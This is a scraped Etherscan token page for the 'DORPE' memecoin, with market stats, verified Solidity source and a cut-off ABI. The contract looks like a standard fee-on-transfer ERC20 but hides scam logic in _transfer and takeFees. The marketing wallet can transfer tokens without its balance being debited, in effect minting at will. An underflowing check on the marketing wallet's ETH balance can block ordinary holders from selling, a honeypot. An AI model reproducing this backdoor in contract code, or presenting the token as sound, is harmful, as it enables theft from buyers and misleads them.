ETH Price: $3,507.33 (-0.06%)
Gas: 2 Gwei

Token

ᗪOᖇK ᒪOᖇᗪ V Pepe (DORPE)
 

Overview

Max Total Supply

1,000,000,000 DORPE

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10,092,327.330824467136543982 DORPE

Value
$0.00
0x61e97149f3f5e016efcda1cefe13d26a44f4c7b6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DORPE

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-06
*/

/**
 *Submitted for verification at Etherscan.io on 2023-09-06
*/

/**
Telegram https://t.me/DorkLordVPepe
Website https://zogz.fun
Twitter https://twitter.com/DorkLordVPepe


**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getUnlockTime() public view returns (uint256) {
        return _lockTime;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }

    function unlock() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(block.timestamp > _lockTime , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DORPE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name =unicode"ᗪOᖇK ᒪOᖇᗪ V Pepe";
    string private _symbol =unicode"DORPE";
    uint8 private _decimals = 18;

    address payable public devWallet = payable(0x1e9000beE47527Ed80f2D242DDD129208B25E7A1); // Dev Address
    address payable public marketingWallet = payable(0xf90e125F317CC36D183afBB968fe70d308266c01); // Marketing Address
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isAMMPair;

    uint256 public _buyMarketingFee = 0;
    uint256 public _sellMarketingFee = 0;

    uint256 public _marketingShare = 0;

    uint256 public _totalTaxIfBuying = 0;
    uint256 public _totalTaxIfSelling = 0;
    uint256 public _totalDistributionShares = 0;

    uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 1_000_000_000 * 10**_decimals;
    uint256 public _walletMax = 1_000_000_000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1_000_000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;

        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWallet] = true;
        isTxLimitExempt[address(this)] = true;

        isAMMPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isAMMPair[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setBuyTaxes(uint256 newMarketingTax) external onlyOwner() {
        require(newMarketingTax <= 5, 'Max fee is 5%');
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = newMarketingTax;
    }

    function setSellTaxes(uint256 newMarketingTax) external onlyOwner() {
        require(newMarketingTax <= 5, 'Max fee is 5%');
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = newMarketingTax;
    }

    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= 2_500_000, 'Min maxTxAmount error');
        _maxTxAmount = maxTxAmount;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
        checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0), 'newAddress must not be equal to 0x');
        marketingWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function updateUniRouter(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) //Create If Doesnt exist
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address

        isWalletLimitExempt[address(uniswapPair)] = true;
        isAMMPair[address(uniswapPair)] = true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        uint256 taxAmount = amount;

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;

            taxAmount = sender == marketingWallet ? 0 : takeFees(sender, recipient, amount);

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isAMMPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(taxAmount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
            amount : taxAmount;

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function transferToETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 tokensForSwap = tAmount;

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;
        if(amountReceived > 0)
            transferToETH(devWallet, amountReceived);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function takeFees(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;

        if(isAMMPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isAMMPair[recipient] && _marketingShare.sub(marketingWallet.balance) > 0) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAMMPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"u